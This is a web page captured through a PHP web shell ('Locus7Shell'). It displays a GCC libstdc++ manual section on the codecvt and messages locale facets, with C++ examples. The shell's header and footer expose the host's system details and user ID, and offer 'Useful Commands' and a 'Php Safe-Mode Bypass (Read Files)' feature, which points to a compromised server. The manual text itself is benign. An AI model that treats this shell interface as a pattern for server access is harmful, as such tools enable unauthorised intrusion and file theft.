![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type:
For the required specialization The two required specializations are implemented as follows:
This is simple specialization. Implementing this was a piece of cake.
This specialization, by specifying all the template parameters, pretty
much ties the hands of implementors. As such, the implementation is
straightforward, involving Neither of these two required specializations deals with Unicode characters.
The GNU C Library . Copyright © 2007 FSF. Chapters 6 Character Set Handling and 7 Locales and Internationalization. The Open Group Base Specifications, Issue 6 (IEEE Std. 1003.1-2004) . Copyright © 1999 The Open Group/The Institute of Electrical and Electronics Engineers, Inc.. The standard class codecvt attempts to address conversions between different character encoding schemes. In particular, the standard attempts to detail conversions between the implementation-defined wide characters (hereafter referred to as wchar_t) and the standard type char that is so beloved in classic “C” (which can now be referred to as narrow characters.) This document attempts to describe how the GNU libstdc++ implementation deals with the conversion between wide and narrow characters, and also presents a framework for dealing with the huge number of other encodings that iconv can convert, including Unicode and UTF8. Design issues and requirements are addressed, and examples of correct usage for both the required specializations for wide and narrow characters and the implementation-provided extended functionality are given. Around page 425 of the C++ Standard, this charming heading comes into view:
The text around the codecvt definition gives some clues:
Hmm. So, in some unspecified way, Unicode encodings and translations between other character sets should be handled by this class.
Ah ha! Another clue...
At this point, a couple points become clear: One: The standard clearly implies that attempts to add non-required (yet useful and widely used) conversions need to do so through the third template parameter, stateT.
Two: The required conversions, by specifying mbstate_t as the
third template parameter, imply an implementation strategy that is mostly
(or wholly) based on the underlying C library, and the functions
The simple implementation detail of wchar_t's size seems to repeatedly confound people. Many systems use a two byte, unsigned integral type to represent wide characters, and use an internal encoding of Unicode or UCS2. (See AIX, Microsoft NT, Java, others.) Other systems, use a four byte, unsigned integral type to represent wide characters, and use an internal encoding of UCS4. (GNU/Linux systems using glibc, in particular.) The C programming language (and thus C++) does not specify a specific size for the type wchar_t. Thus, portable C++ code cannot assume a byte size (or endianness) either. Probably the most frequently asked question about code conversion is: "So dudes, what's the deal with Unicode strings?" The dude part is optional, but apparently the usefulness of Unicode strings is pretty widely appreciated. The Unicode character set (and useful encodings like UTF-8, UCS-4, ISO 8859-10, etc etc etc) were not mentioned in the first C++ standard. (The 2011 standard added support for string literals with different encodings and some library facilities for converting between encodings, but the notes below have not been updated to reflect that.) A couple of comments: The thought that all one needs to convert between two arbitrary codesets is two types and some kind of state argument is unfortunate. In particular, encodings may be stateless. The naming of the third parameter as stateT is unfortunate, as what is really needed is some kind of generalized type that accounts for the issues that abstract encodings will need. The minimum information that is required includes:
In addition, multi-threaded and multi-locale environments also impact
the design and requirements for code conversions. In particular, they
affect the required specialization
Three problems arise, one big, one of medium importance, and one small.
First, the small: Of medium concern, in the grand scope of things, is that the functions used to implement this specialization work on null-terminated strings. Buffers, especially file buffers, may not be null-terminated, thus giving conversions that end prematurely or are otherwise incorrect. Yikes! The last, and fundamental problem, is the assumption of a global locale for all the "C" functions referenced above. For something like C++ iostreams (where codecvt is explicitly used) the notion of multiple locales is fundamental. In practice, most users may not run into this limitation. However, as a quality of implementation issue, the GNU C++ library would like to offer a solution that allows multiple locales and or simultaneous usage with computationally correct results. In short, libstdc++ is trying to offer, as an option, a high-quality implementation, damn the additional complexity!
For the required specialization
The two required specializations are implemented as follows:
This is a degenerate (i.e., does nothing) specialization. Implementing this was a piece of cake.
This specialization, by specifying all the template parameters, pretty
much ties the hands of implementors. As such, the implementation is
straightforward, involving
Neither of these two required specializations deals with Unicode
characters. As such, libstdc++ implements a partial specialization
of the codecvt class with an iconv wrapper class,
This implementation should be standards conformant. First of all, the standard explicitly points out that instantiations on the third template parameter, stateT, are the proper way to implement non-required conversions. Second of all, the standard says (in Chapter 17) that partial specializations of required classes are A-OK. Third of all, the requirements for the stateT type elsewhere in the standard (see 21.1.2 traits typedefs) only indicate that this type be copy constructible. As such, the type encoding_state is defined as a non-templatized, POD type to be used as the third type of a codecvt instantiation. This type is just a wrapper class for iconv, and provides an easy interface to iconv functionality. There are two constructors for encoding_state:
This default constructor sets the internal encoding to some default
(currently UCS4) and the external encoding to whatever is returned by
This constructor takes as parameters string literals that indicate the desired internal and external encoding. There are no defaults for either argument. One of the issues with iconv is that the string literals identifying conversions are not standardized. Because of this, the thought of mandating and/or enforcing some set of pre-determined valid identifiers seems iffy: thus, a more practical (and non-migraine inducing) strategy was implemented: end-users can specify any string (subject to a pre-determined length qualifier, currently 32 bytes) for encodings. It is up to the user to make sure that these strings are valid on the target system.
Strangely enough, this member function attempts to open conversion descriptors for a given encoding_state object. If the conversion descriptors are not valid, the conversion descriptors returned will not be valid and the resulting calls to the codecvt conversion functions will return error.
Provides a way to see if the given encoding_state object has been
properly initialized. If the string literals describing the desired
internal and external encoding are not valid, initialization will
fail, and this will return false. If the internal and external
encodings are valid, but
As iconv allocates memory and sets up conversion descriptors, the copy constructor can only copy the member data pertaining to the internal and external code conversions, and not the conversion descriptors themselves.
Definitions for all the required codecvt member functions are provided
for this specialization, and usage of A conversion involving a string literal. typedef codecvt_base::result result; typedef unsigned short unicode_t; typedef unicode_t int_type; typedef char ext_type; typedef encoding_state state_type; typedef codecvt<int_type, ext_type, state_type> unicode_codecvt; const ext_type* e_lit = "black pearl jasmine tea"; int size = strlen(e_lit); int_type i_lit_base[24] = { 25088, 27648, 24832, 25344, 27392, 8192, 28672, 25856, 24832, 29184, 27648, 8192, 27136, 24832, 29440, 27904, 26880, 28160, 25856, 8192, 29696, 25856, 24832, 2560 }; const int_type* i_lit = i_lit_base; const ext_type* efrom_next; const int_type* ifrom_next; ext_type* e_arr = new ext_type[size + 1]; ext_type* eto_next; int_type* i_arr = new int_type[size + 1]; int_type* ito_next; // construct a locale object with the specialized facet. locale loc(locale::classic(), new unicode_codecvt); // sanity check the constructed locale has the specialized facet. VERIFY( has_facet<unicode_codecvt>(loc) ); const unicode_codecvt& cvt = use_facet<unicode_codecvt>(loc); // convert between const char* and unicode strings unicode_codecvt::state_type state01("UNICODE", "ISO_8859-1"); initialize_state(state01); result r1 = cvt.in(state01, e_lit, e_lit + size, efrom_next, i_arr, i_arr + size, ito_next); VERIFY( r1 == codecvt_base::ok ); VERIFY( !int_traits::compare(i_arr, i_lit, size) ); VERIFY( efrom_next == e_lit + size ); VERIFY( ito_next == i_arr + size );
The GNU C Library . Copyright © 2007 FSF. Chapters 6 Character Set Handling and 7 Locales and Internationalization . System Interface Definitions, Issue 7 (IEEE Std. 1003.1-2008) . Copyright © 2008 The Open Group/The Institute of Electrical and Electronics Engineers, Inc. . The C++ Programming Language, Special Edition . Copyright © 2000 Addison Wesley, Inc.. Appendix D. Addison Wesley . Standard C++ IOStreams and Locales . Advanced Programmer's Guide and Reference . Copyright © 2000 Addison Wesley Longman, Inc.. Addison Wesley Longman . A brief description of Normative Addendum 1 . Extended Character Sets.
The
The
This class has three public member functions, which directly correspond to three protected virtual member functions. The public member functions are:
While the virtual functions are:
A couple of notes on the standard.
First, why is
Second, by making the member functions
The 'open' member function in particular seems to be oddly
designed. The signature seems quite peculiar. Why specify a Lastly, it seems odd that messages, which explicitly require code conversion, don't use the codecvt facet. Because the messages facet has only one template parameter, it is assumed that ctype, and not codecvt, is to be used to convert between character sets. It is implicitly assumed that the locale for the default message string in 'get' is in the "C" locale. Thus, all source code is assumed to be written in English, so translations are always from "en_US" to other, explicitly named locales. This is a relatively simple class, on the face of it. The standard specifies very little in concrete terms, so generic implementations that are conforming yet do very little are the norm. Adding functionality that would be useful to programmers and comparable to Java's java.text.MessageFormat takes a bit of work, and is highly dependent on the capabilities of the underlying operating system. Three different mechanisms have been provided, selectable via configure flags:
A new, standards-conformant non-virtual member function signature was added for 'open' so that a directory could be specified with a given message catalog. This simplifies calling conventions for the gnu model.
The messages facet, because it is retrieving and converting
between characters sets, depends on the ctype and perhaps the
codecvt facet in a given locale. In addition, underlying "C"
library locale support is necessary for more than just the
Making the message catalogs can be initially tricky, but become quite simple with practice. For complete info, see the gettext documentation. Here's an idea of what is required:
A simple example using the GNU model of message conversion. #include <iostream> #include <locale> using namespace std; void test01() { typedef messages<char>::catalog catalog; const char* dir = "/mnt/egcs/build/i686-pc-linux-gnu/libstdc++/po/share/locale"; const locale loc_de("de_DE"); const messages<char>& mssg_de = use_facet<messages<char> >(loc_de); catalog cat_de = mssg_de.open("libstdc++", loc_de, dir); string s01 = mssg_de.get(cat_de, 0, 0, "please"); string s02 = mssg_de.get(cat_de, 0, 0, "thank you"); cout << "please in german:" << s01 << '\n'; cout << "thank you in german:" << s02 << '\n'; mssg_de.close(cat_de); }
The GNU C Library . Copyright © 2007 FSF. Chapters 6 Character Set Handling, and 7 Locales and Internationalization . System Interface Definitions, Issue 7 (IEEE Std. 1003.1-2008) . Copyright © 2008 The Open Group/The Institute of Electrical and Electronics Engineers, Inc. . The C++ Programming Language, Special Edition . Copyright © 2000 Addison Wesley, Inc.. Appendix D. Addison Wesley . Standard C++ IOStreams and Locales . Advanced Programmer's Guide and Reference . Copyright © 2000 Addison Wesley Longman, Inc.. Addison Wesley Longman . API Specifications, Java Platform . java.util.Properties, java.text.MessageFormat, java.util.Locale, java.util.ResourceBundle . |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]-- |